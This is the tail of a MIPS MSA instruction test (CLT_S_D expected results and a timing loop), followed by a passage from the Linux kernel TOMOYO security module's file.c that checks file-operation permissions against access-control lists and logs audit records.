{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, }, /* 8 */
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, }, /* 16 */
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, }, /* 24 */
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, }, /* 32 */
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, }, /* 40 */
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, }, /* 48 */
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, }, /* 56 */
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, }, /* 64 */
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, }, /* 72 */
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
{ 0xffffffffffffffffULL, 0x0000000000000000ULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0xffffffffffffffffULL, },
{ 0x0000000000000000ULL, 0x0000000000000000ULL, },
};
reset_msa_registers();
gettimeofday(&start, NULL);
for (i = 0; i < PATTERN_INPUTS_SHORT_COUNT; i++) {
for (j = 0; j < PATTERN_INPUTS_SHORT_COUNT; j++) {
do_msa_CLT_S_D(b128_pattern[i], b128_pattern[j],
b128_result[PATTERN_INPUTS_SHORT_COUNT * i + j]);
}
}
for (i = 0; i < RANDOM_INPUTS_SHORT_COUNT; i++) {
for (j = 0; j < RANDOM_INPUTS_SHORT_COUNT; j++) {
do_msa_CLT_S_D(b128_random[i], b128_random[j],
b128_result[((PATTERN_INPUTS_SHORT_COUNT) *
(PATTERN_INPUTS_SHORT_COUNT)) +
RANDOM_INPUTS_SHORT_COUNT * i + j]);
}
}
gettimeofday(&end, NULL);
elapsed_time = (end.tv_sec - start.tv_sec) * 1000.0;
elapsed_time += (end.tv_usec - start.tv_usec) / 1000.0;
ret = check_results_128(isa_ase_name, group_name, instruction_name,
TEST_COUNT_TOTAL, elapsed_time,
&b128_result[0][0], &b128_expect[0][0]);
return ret;
}
| {
"pile_set_name": "Github"
} |
/*
* security/tomoyo/file.c
*
* Copyright (C) 2005-2011 NTT DATA CORPORATION
*/
#include "common.h"
#include <linux/slab.h>
/*
* Mapping table from "enum tomoyo_path_acl_index" to "enum tomoyo_mac_index".
*/
static const u8 tomoyo_p2mac[TOMOYO_MAX_PATH_OPERATION] = {
[TOMOYO_TYPE_EXECUTE] = TOMOYO_MAC_FILE_EXECUTE,
[TOMOYO_TYPE_READ] = TOMOYO_MAC_FILE_OPEN,
[TOMOYO_TYPE_WRITE] = TOMOYO_MAC_FILE_OPEN,
[TOMOYO_TYPE_APPEND] = TOMOYO_MAC_FILE_OPEN,
[TOMOYO_TYPE_UNLINK] = TOMOYO_MAC_FILE_UNLINK,
[TOMOYO_TYPE_GETATTR] = TOMOYO_MAC_FILE_GETATTR,
[TOMOYO_TYPE_RMDIR] = TOMOYO_MAC_FILE_RMDIR,
[TOMOYO_TYPE_TRUNCATE] = TOMOYO_MAC_FILE_TRUNCATE,
[TOMOYO_TYPE_SYMLINK] = TOMOYO_MAC_FILE_SYMLINK,
[TOMOYO_TYPE_CHROOT] = TOMOYO_MAC_FILE_CHROOT,
[TOMOYO_TYPE_UMOUNT] = TOMOYO_MAC_FILE_UMOUNT,
};
/*
* Mapping table from "enum tomoyo_mkdev_acl_index" to "enum tomoyo_mac_index".
*/
const u8 tomoyo_pnnn2mac[TOMOYO_MAX_MKDEV_OPERATION] = {
[TOMOYO_TYPE_MKBLOCK] = TOMOYO_MAC_FILE_MKBLOCK,
[TOMOYO_TYPE_MKCHAR] = TOMOYO_MAC_FILE_MKCHAR,
};
/*
* Mapping table from "enum tomoyo_path2_acl_index" to "enum tomoyo_mac_index".
*/
const u8 tomoyo_pp2mac[TOMOYO_MAX_PATH2_OPERATION] = {
[TOMOYO_TYPE_LINK] = TOMOYO_MAC_FILE_LINK,
[TOMOYO_TYPE_RENAME] = TOMOYO_MAC_FILE_RENAME,
[TOMOYO_TYPE_PIVOT_ROOT] = TOMOYO_MAC_FILE_PIVOT_ROOT,
};
/*
* Mapping table from "enum tomoyo_path_number_acl_index" to
* "enum tomoyo_mac_index".
*/
const u8 tomoyo_pn2mac[TOMOYO_MAX_PATH_NUMBER_OPERATION] = {
[TOMOYO_TYPE_CREATE] = TOMOYO_MAC_FILE_CREATE,
[TOMOYO_TYPE_MKDIR] = TOMOYO_MAC_FILE_MKDIR,
[TOMOYO_TYPE_MKFIFO] = TOMOYO_MAC_FILE_MKFIFO,
[TOMOYO_TYPE_MKSOCK] = TOMOYO_MAC_FILE_MKSOCK,
[TOMOYO_TYPE_IOCTL] = TOMOYO_MAC_FILE_IOCTL,
[TOMOYO_TYPE_CHMOD] = TOMOYO_MAC_FILE_CHMOD,
[TOMOYO_TYPE_CHOWN] = TOMOYO_MAC_FILE_CHOWN,
[TOMOYO_TYPE_CHGRP] = TOMOYO_MAC_FILE_CHGRP,
};
/**
* tomoyo_put_name_union - Drop reference on "struct tomoyo_name_union".
*
* @ptr: Pointer to "struct tomoyo_name_union".
*
* Returns nothing.
*/
void tomoyo_put_name_union(struct tomoyo_name_union *ptr)
{
tomoyo_put_group(ptr->group);
tomoyo_put_name(ptr->filename);
}
/**
* tomoyo_compare_name_union - Check whether a name matches "struct tomoyo_name_union" or not.
*
* @name: Pointer to "struct tomoyo_path_info".
* @ptr: Pointer to "struct tomoyo_name_union".
*
* Returns "struct tomoyo_path_info" if @name matches @ptr, NULL otherwise.
*/
const struct tomoyo_path_info *
tomoyo_compare_name_union(const struct tomoyo_path_info *name,
const struct tomoyo_name_union *ptr)
{
if (ptr->group)
return tomoyo_path_matches_group(name, ptr->group);
if (tomoyo_path_matches_pattern(name, ptr->filename))
return ptr->filename;
return NULL;
}
/**
* tomoyo_put_number_union - Drop reference on "struct tomoyo_number_union".
*
* @ptr: Pointer to "struct tomoyo_number_union".
*
* Returns nothing.
*/
void tomoyo_put_number_union(struct tomoyo_number_union *ptr)
{
tomoyo_put_group(ptr->group);
}
/**
* tomoyo_compare_number_union - Check whether a value matches "struct tomoyo_number_union" or not.
*
* @value: Number to check.
* @ptr: Pointer to "struct tomoyo_number_union".
*
* Returns true if @value matches @ptr, false otherwise.
*/
bool tomoyo_compare_number_union(const unsigned long value,
const struct tomoyo_number_union *ptr)
{
if (ptr->group)
return tomoyo_number_matches_group(value, value, ptr->group);
return value >= ptr->values[0] && value <= ptr->values[1];
}
/**
* tomoyo_add_slash - Add trailing '/' if needed.
*
* @buf: Pointer to "struct tomoyo_path_info".
*
* Returns nothing.
*
* @buf must be generated by tomoyo_encode() because this function does not
* allocate memory for adding '/'.
*/
static void tomoyo_add_slash(struct tomoyo_path_info *buf)
{
if (buf->is_dir)
return;
/*
* This is OK because tomoyo_encode() reserves space for appending "/".
*/
strcat((char *) buf->name, "/");
tomoyo_fill_path_info(buf);
}
/**
* tomoyo_get_realpath - Get realpath.
*
* @buf: Pointer to "struct tomoyo_path_info".
* @path: Pointer to "struct path".
*
* Returns true on success, false otherwise.
*/
static bool tomoyo_get_realpath(struct tomoyo_path_info *buf, const struct path *path)
{
buf->name = tomoyo_realpath_from_path(path);
if (buf->name) {
tomoyo_fill_path_info(buf);
return true;
}
return false;
}
/**
* tomoyo_audit_path_log - Audit path request log.
*
* @r: Pointer to "struct tomoyo_request_info".
*
* Returns 0 on success, negative value otherwise.
*/
static int tomoyo_audit_path_log(struct tomoyo_request_info *r)
{
return tomoyo_supervisor(r, "file %s %s\n", tomoyo_path_keyword
[r->param.path.operation],
r->param.path.filename->name);
}
/**
* tomoyo_audit_path2_log - Audit path/path request log.
*
* @r: Pointer to "struct tomoyo_request_info".
*
* Returns 0 on success, negative value otherwise.
*/
static int tomoyo_audit_path2_log(struct tomoyo_request_info *r)
{
return tomoyo_supervisor(r, "file %s %s %s\n", tomoyo_mac_keywords
[tomoyo_pp2mac[r->param.path2.operation]],
r->param.path2.filename1->name,
r->param.path2.filename2->name);
}
/**
* tomoyo_audit_mkdev_log - Audit path/number/number/number request log.
*
* @r: Pointer to "struct tomoyo_request_info".
*
* Returns 0 on success, negative value otherwise.
*/
static int tomoyo_audit_mkdev_log(struct tomoyo_request_info *r)
{
return tomoyo_supervisor(r, "file %s %s 0%o %u %u\n",
tomoyo_mac_keywords
[tomoyo_pnnn2mac[r->param.mkdev.operation]],
r->param.mkdev.filename->name,
r->param.mkdev.mode, r->param.mkdev.major,
r->param.mkdev.minor);
}
/**
* tomoyo_audit_path_number_log - Audit path/number request log.
*
* @r: Pointer to "struct tomoyo_request_info".
*
* Returns 0 on success, negative value otherwise.
*/
static int tomoyo_audit_path_number_log(struct tomoyo_request_info *r)
{
const u8 type = r->param.path_number.operation;
u8 radix;
char buffer[64];
switch (type) {
case TOMOYO_TYPE_CREATE:
case TOMOYO_TYPE_MKDIR:
case TOMOYO_TYPE_MKFIFO:
case TOMOYO_TYPE_MKSOCK:
case TOMOYO_TYPE_CHMOD:
radix = TOMOYO_VALUE_TYPE_OCTAL;
break;
case TOMOYO_TYPE_IOCTL:
radix = TOMOYO_VALUE_TYPE_HEXADECIMAL;
break;
default:
radix = TOMOYO_VALUE_TYPE_DECIMAL;
break;
}
tomoyo_print_ulong(buffer, sizeof(buffer), r->param.path_number.number,
radix);
return tomoyo_supervisor(r, "file %s %s %s\n", tomoyo_mac_keywords
[tomoyo_pn2mac[type]],
r->param.path_number.filename->name, buffer);
}
/**
* tomoyo_check_path_acl - Check permission for path operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @ptr: Pointer to "struct tomoyo_acl_info".
*
* Returns true if granted, false otherwise.
*
* To be able to use wildcard for domain transition, this function sets
* matching entry on success. Since the caller holds tomoyo_read_lock(),
* it is safe to set matching entry.
*/
static bool tomoyo_check_path_acl(struct tomoyo_request_info *r,
const struct tomoyo_acl_info *ptr)
{
const struct tomoyo_path_acl *acl = container_of(ptr, typeof(*acl),
head);
if (acl->perm & (1 << r->param.path.operation)) {
r->param.path.matched_path =
tomoyo_compare_name_union(r->param.path.filename,
&acl->name);
return r->param.path.matched_path != NULL;
}
return false;
}
/**
* tomoyo_check_path_number_acl - Check permission for path number operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @ptr: Pointer to "struct tomoyo_acl_info".
*
* Returns true if granted, false otherwise.
*/
static bool tomoyo_check_path_number_acl(struct tomoyo_request_info *r,
const struct tomoyo_acl_info *ptr)
{
const struct tomoyo_path_number_acl *acl =
container_of(ptr, typeof(*acl), head);
return (acl->perm & (1 << r->param.path_number.operation)) &&
tomoyo_compare_number_union(r->param.path_number.number,
&acl->number) &&
tomoyo_compare_name_union(r->param.path_number.filename,
&acl->name);
}
/**
* tomoyo_check_path2_acl - Check permission for path path operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @ptr: Pointer to "struct tomoyo_acl_info".
*
* Returns true if granted, false otherwise.
*/
static bool tomoyo_check_path2_acl(struct tomoyo_request_info *r,
const struct tomoyo_acl_info *ptr)
{
const struct tomoyo_path2_acl *acl =
container_of(ptr, typeof(*acl), head);
return (acl->perm & (1 << r->param.path2.operation)) &&
tomoyo_compare_name_union(r->param.path2.filename1, &acl->name1)
&& tomoyo_compare_name_union(r->param.path2.filename2,
&acl->name2);
}
/**
* tomoyo_check_mkdev_acl - Check permission for path number number number operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @ptr: Pointer to "struct tomoyo_acl_info".
*
* Returns true if granted, false otherwise.
*/
static bool tomoyo_check_mkdev_acl(struct tomoyo_request_info *r,
const struct tomoyo_acl_info *ptr)
{
const struct tomoyo_mkdev_acl *acl =
container_of(ptr, typeof(*acl), head);
return (acl->perm & (1 << r->param.mkdev.operation)) &&
tomoyo_compare_number_union(r->param.mkdev.mode,
&acl->mode) &&
tomoyo_compare_number_union(r->param.mkdev.major,
&acl->major) &&
tomoyo_compare_number_union(r->param.mkdev.minor,
&acl->minor) &&
tomoyo_compare_name_union(r->param.mkdev.filename,
&acl->name);
}
/**
* tomoyo_same_path_acl - Check for duplicated "struct tomoyo_path_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
*
* Returns true if @a == @b except permission bits, false otherwise.
*/
static bool tomoyo_same_path_acl(const struct tomoyo_acl_info *a,
const struct tomoyo_acl_info *b)
{
const struct tomoyo_path_acl *p1 = container_of(a, typeof(*p1), head);
const struct tomoyo_path_acl *p2 = container_of(b, typeof(*p2), head);
return tomoyo_same_name_union(&p1->name, &p2->name);
}
/**
* tomoyo_merge_path_acl - Merge duplicated "struct tomoyo_path_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
* @is_delete: True for @a &= ~@b, false for @a |= @b.
*
* Returns true if @a is empty, false otherwise.
*/
static bool tomoyo_merge_path_acl(struct tomoyo_acl_info *a,
struct tomoyo_acl_info *b,
const bool is_delete)
{
u16 * const a_perm = &container_of(a, struct tomoyo_path_acl, head)
->perm;
u16 perm = *a_perm;
const u16 b_perm = container_of(b, struct tomoyo_path_acl, head)->perm;
if (is_delete)
perm &= ~b_perm;
else
perm |= b_perm;
*a_perm = perm;
return !perm;
}
/**
* tomoyo_update_path_acl - Update "struct tomoyo_path_acl" list.
*
* @perm: Permission.
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
static int tomoyo_update_path_acl(const u16 perm,
struct tomoyo_acl_param *param)
{
struct tomoyo_path_acl e = {
.head.type = TOMOYO_TYPE_PATH_ACL,
.perm = perm
};
int error;
if (!tomoyo_parse_name_union(param, &e.name))
error = -EINVAL;
else
error = tomoyo_update_domain(&e.head, sizeof(e), param,
tomoyo_same_path_acl,
tomoyo_merge_path_acl);
tomoyo_put_name_union(&e.name);
return error;
}
/**
* tomoyo_same_mkdev_acl - Check for duplicated "struct tomoyo_mkdev_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
*
* Returns true if @a == @b except permission bits, false otherwise.
*/
static bool tomoyo_same_mkdev_acl(const struct tomoyo_acl_info *a,
const struct tomoyo_acl_info *b)
{
const struct tomoyo_mkdev_acl *p1 = container_of(a, typeof(*p1), head);
const struct tomoyo_mkdev_acl *p2 = container_of(b, typeof(*p2), head);
return tomoyo_same_name_union(&p1->name, &p2->name) &&
tomoyo_same_number_union(&p1->mode, &p2->mode) &&
tomoyo_same_number_union(&p1->major, &p2->major) &&
tomoyo_same_number_union(&p1->minor, &p2->minor);
}
/**
* tomoyo_merge_mkdev_acl - Merge duplicated "struct tomoyo_mkdev_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
* @is_delete: True for @a &= ~@b, false for @a |= @b.
*
* Returns true if @a is empty, false otherwise.
*/
static bool tomoyo_merge_mkdev_acl(struct tomoyo_acl_info *a,
struct tomoyo_acl_info *b,
const bool is_delete)
{
u8 *const a_perm = &container_of(a, struct tomoyo_mkdev_acl,
head)->perm;
u8 perm = *a_perm;
const u8 b_perm = container_of(b, struct tomoyo_mkdev_acl, head)
->perm;
if (is_delete)
perm &= ~b_perm;
else
perm |= b_perm;
*a_perm = perm;
return !perm;
}
/**
* tomoyo_update_mkdev_acl - Update "struct tomoyo_mkdev_acl" list.
*
* @perm: Permission.
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
static int tomoyo_update_mkdev_acl(const u8 perm,
struct tomoyo_acl_param *param)
{
struct tomoyo_mkdev_acl e = {
.head.type = TOMOYO_TYPE_MKDEV_ACL,
.perm = perm
};
int error;
if (!tomoyo_parse_name_union(param, &e.name) ||
!tomoyo_parse_number_union(param, &e.mode) ||
!tomoyo_parse_number_union(param, &e.major) ||
!tomoyo_parse_number_union(param, &e.minor))
error = -EINVAL;
else
error = tomoyo_update_domain(&e.head, sizeof(e), param,
tomoyo_same_mkdev_acl,
tomoyo_merge_mkdev_acl);
tomoyo_put_name_union(&e.name);
tomoyo_put_number_union(&e.mode);
tomoyo_put_number_union(&e.major);
tomoyo_put_number_union(&e.minor);
return error;
}
/**
* tomoyo_same_path2_acl - Check for duplicated "struct tomoyo_path2_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
*
* Returns true if @a == @b except permission bits, false otherwise.
*/
static bool tomoyo_same_path2_acl(const struct tomoyo_acl_info *a,
const struct tomoyo_acl_info *b)
{
const struct tomoyo_path2_acl *p1 = container_of(a, typeof(*p1), head);
const struct tomoyo_path2_acl *p2 = container_of(b, typeof(*p2), head);
return tomoyo_same_name_union(&p1->name1, &p2->name1) &&
tomoyo_same_name_union(&p1->name2, &p2->name2);
}
/**
* tomoyo_merge_path2_acl - Merge duplicated "struct tomoyo_path2_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
* @is_delete: True for @a &= ~@b, false for @a |= @b.
*
* Returns true if @a is empty, false otherwise.
*/
static bool tomoyo_merge_path2_acl(struct tomoyo_acl_info *a,
struct tomoyo_acl_info *b,
const bool is_delete)
{
u8 * const a_perm = &container_of(a, struct tomoyo_path2_acl, head)
->perm;
u8 perm = *a_perm;
const u8 b_perm = container_of(b, struct tomoyo_path2_acl, head)->perm;
if (is_delete)
perm &= ~b_perm;
else
perm |= b_perm;
*a_perm = perm;
return !perm;
}
/**
* tomoyo_update_path2_acl - Update "struct tomoyo_path2_acl" list.
*
* @perm: Permission.
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
static int tomoyo_update_path2_acl(const u8 perm,
struct tomoyo_acl_param *param)
{
struct tomoyo_path2_acl e = {
.head.type = TOMOYO_TYPE_PATH2_ACL,
.perm = perm
};
int error;
if (!tomoyo_parse_name_union(param, &e.name1) ||
!tomoyo_parse_name_union(param, &e.name2))
error = -EINVAL;
else
error = tomoyo_update_domain(&e.head, sizeof(e), param,
tomoyo_same_path2_acl,
tomoyo_merge_path2_acl);
tomoyo_put_name_union(&e.name1);
tomoyo_put_name_union(&e.name2);
return error;
}
/**
* tomoyo_path_permission - Check permission for single path operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @operation: Type of operation.
* @filename: Filename to check.
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
static int tomoyo_path_permission(struct tomoyo_request_info *r, u8 operation,
const struct tomoyo_path_info *filename)
{
int error;
r->type = tomoyo_p2mac[operation];
r->mode = tomoyo_get_mode(r->domain->ns, r->profile, r->type);
if (r->mode == TOMOYO_CONFIG_DISABLED)
return 0;
r->param_type = TOMOYO_TYPE_PATH_ACL;
r->param.path.filename = filename;
r->param.path.operation = operation;
do {
tomoyo_check_acl(r, tomoyo_check_path_acl);
error = tomoyo_audit_path_log(r);
} while (error == TOMOYO_RETRY_REQUEST);
return error;
}
/**
* tomoyo_execute_permission - Check permission for execute operation.
*
* @r: Pointer to "struct tomoyo_request_info".
* @filename: Filename to check.
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
int tomoyo_execute_permission(struct tomoyo_request_info *r,
const struct tomoyo_path_info *filename)
{
/*
* Unlike other permission checks, this check is done regardless of
* profile mode settings in order to check for domain transition
* preference.
*/
r->type = TOMOYO_MAC_FILE_EXECUTE;
r->mode = tomoyo_get_mode(r->domain->ns, r->profile, r->type);
r->param_type = TOMOYO_TYPE_PATH_ACL;
r->param.path.filename = filename;
r->param.path.operation = TOMOYO_TYPE_EXECUTE;
tomoyo_check_acl(r, tomoyo_check_path_acl);
r->ee->transition = r->matched_acl && r->matched_acl->cond ?
r->matched_acl->cond->transit : NULL;
if (r->mode != TOMOYO_CONFIG_DISABLED)
return tomoyo_audit_path_log(r);
return 0;
}
/**
* tomoyo_same_path_number_acl - Check for duplicated "struct tomoyo_path_number_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
*
* Returns true if @a == @b except permission bits, false otherwise.
*/
static bool tomoyo_same_path_number_acl(const struct tomoyo_acl_info *a,
const struct tomoyo_acl_info *b)
{
const struct tomoyo_path_number_acl *p1 = container_of(a, typeof(*p1),
head);
const struct tomoyo_path_number_acl *p2 = container_of(b, typeof(*p2),
head);
return tomoyo_same_name_union(&p1->name, &p2->name) &&
tomoyo_same_number_union(&p1->number, &p2->number);
}
/**
* tomoyo_merge_path_number_acl - Merge duplicated "struct tomoyo_path_number_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
* @is_delete: True for @a &= ~@b, false for @a |= @b.
*
* Returns true if @a is empty, false otherwise.
*/
static bool tomoyo_merge_path_number_acl(struct tomoyo_acl_info *a,
struct tomoyo_acl_info *b,
const bool is_delete)
{
u8 * const a_perm = &container_of(a, struct tomoyo_path_number_acl,
head)->perm;
u8 perm = *a_perm;
const u8 b_perm = container_of(b, struct tomoyo_path_number_acl, head)
->perm;
if (is_delete)
perm &= ~b_perm;
else
perm |= b_perm;
*a_perm = perm;
return !perm;
}
/**
* tomoyo_update_path_number_acl - Update ioctl/chmod/chown/chgrp ACL.
*
* @perm: Permission.
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*/
static int tomoyo_update_path_number_acl(const u8 perm,
struct tomoyo_acl_param *param)
{
struct tomoyo_path_number_acl e = {
.head.type = TOMOYO_TYPE_PATH_NUMBER_ACL,
.perm = perm
};
int error;
if (!tomoyo_parse_name_union(param, &e.name) ||
!tomoyo_parse_number_union(param, &e.number))
error = -EINVAL;
else
error = tomoyo_update_domain(&e.head, sizeof(e), param,
tomoyo_same_path_number_acl,
tomoyo_merge_path_number_acl);
tomoyo_put_name_union(&e.name);
tomoyo_put_number_union(&e.number);
return error;
}
/**
* tomoyo_path_number_perm - Check permission for "create", "mkdir", "mkfifo", "mksock", "ioctl", "chmod", "chown", "chgrp".
*
* @type: Type of operation.
* @path: Pointer to "struct path".
* @number: Number.
*
* Returns 0 on success, negative value otherwise.
*/
int tomoyo_path_number_perm(const u8 type, const struct path *path,
unsigned long number)
{
struct tomoyo_request_info r;
struct tomoyo_obj_info obj = {
.path1 = *path,
};
int error = -ENOMEM;
struct tomoyo_path_info buf;
int idx;
if (tomoyo_init_request_info(&r, NULL, tomoyo_pn2mac[type])
== TOMOYO_CONFIG_DISABLED || !path->dentry)
return 0;
idx = tomoyo_read_lock();
if (!tomoyo_get_realpath(&buf, path))
goto out;
r.obj = &obj;
if (type == TOMOYO_TYPE_MKDIR)
tomoyo_add_slash(&buf);
r.param_type = TOMOYO_TYPE_PATH_NUMBER_ACL;
r.param.path_number.operation = type;
r.param.path_number.filename = &buf;
r.param.path_number.number = number;
do {
tomoyo_check_acl(&r, tomoyo_check_path_number_acl);
error = tomoyo_audit_path_number_log(&r);
} while (error == TOMOYO_RETRY_REQUEST);
kfree(buf.name);
out:
tomoyo_read_unlock(idx);
if (r.mode != TOMOYO_CONFIG_ENFORCING)
error = 0;
return error;
}
/**
* tomoyo_check_open_permission - Check permission for "read" and "write".
*
* @domain: Pointer to "struct tomoyo_domain_info".
* @path: Pointer to "struct path".
* @flag: Flags for open().
*
* Returns 0 on success, negative value otherwise.
*/
int tomoyo_check_open_permission(struct tomoyo_domain_info *domain,
const struct path *path, const int flag)
{
const u8 acc_mode = ACC_MODE(flag);
int error = 0;
struct tomoyo_path_info buf;
struct tomoyo_request_info r;
struct tomoyo_obj_info obj = {
.path1 = *path,
};
int idx;
buf.name = NULL;
r.mode = TOMOYO_CONFIG_DISABLED;
idx = tomoyo_read_lock();
if (acc_mode &&
tomoyo_init_request_info(&r, domain, TOMOYO_MAC_FILE_OPEN)
!= TOMOYO_CONFIG_DISABLED) {
if (!tomoyo_get_realpath(&buf, path)) {
error = -ENOMEM;
goto out;
}
r.obj = &obj;
if (acc_mode & MAY_READ)
error = tomoyo_path_permission(&r, TOMOYO_TYPE_READ,
&buf);
if (!error && (acc_mode & MAY_WRITE))
error = tomoyo_path_permission(&r, (flag & O_APPEND) ?
TOMOYO_TYPE_APPEND :
TOMOYO_TYPE_WRITE,
&buf);
}
out:
kfree(buf.name);
tomoyo_read_unlock(idx);
if (r.mode != TOMOYO_CONFIG_ENFORCING)
error = 0;
return error;
}
/**
* tomoyo_path_perm - Check permission for "unlink", "rmdir", "truncate", "symlink", "append", "chroot" and "unmount".
*
* @operation: Type of operation.
* @path: Pointer to "struct path".
* @target: Symlink's target if @operation is TOMOYO_TYPE_SYMLINK,
* NULL otherwise.
*
* Returns 0 on success, negative value otherwise.
*/
int tomoyo_path_perm(const u8 operation, const struct path *path, const char *target)
{
struct tomoyo_request_info r;
struct tomoyo_obj_info obj = {
.path1 = *path,
};
int error;
struct tomoyo_path_info buf;
bool is_enforce;
struct tomoyo_path_info symlink_target;
int idx;
if (tomoyo_init_request_info(&r, NULL, tomoyo_p2mac[operation])
== TOMOYO_CONFIG_DISABLED)
return 0;
is_enforce = (r.mode == TOMOYO_CONFIG_ENFORCING);
error = -ENOMEM;
buf.name = NULL;
idx = tomoyo_read_lock();
if (!tomoyo_get_realpath(&buf, path))
goto out;
r.obj = &obj;
switch (operation) {
case TOMOYO_TYPE_RMDIR:
case TOMOYO_TYPE_CHROOT:
tomoyo_add_slash(&buf);
break;
case TOMOYO_TYPE_SYMLINK:
symlink_target.name = tomoyo_encode(target);
if (!symlink_target.name)
goto out;
tomoyo_fill_path_info(&symlink_target);
obj.symlink_target = &symlink_target;
break;
}
error = tomoyo_path_permission(&r, operation, &buf);
